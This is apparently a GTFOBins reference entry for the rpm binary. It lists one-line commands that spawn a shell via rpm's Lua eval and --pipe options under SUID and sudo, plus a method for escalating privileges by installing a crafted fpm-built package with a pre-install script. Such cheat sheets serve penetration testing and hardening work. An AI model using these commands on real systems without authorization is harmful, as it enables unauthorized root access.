GTFOBins.github.io/_gtfobins/rpm.md
2021-04-08 07:56:49 +02:00

633 B

functions
shell limited-suid sudo
code
rpm --eval '%{lua:os.execute("/bin/sh")}'
code
rpm --pipe '/bin/sh 0<&1'
code
./rpm --eval '%{lua:os.execute("/bin/sh")}'
code
sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
description code
It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` TF=$(mktemp -d) echo 'id' > $TF/x.sh fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF ``` sudo rpm -ivh x-1.0-1.noarch.rpm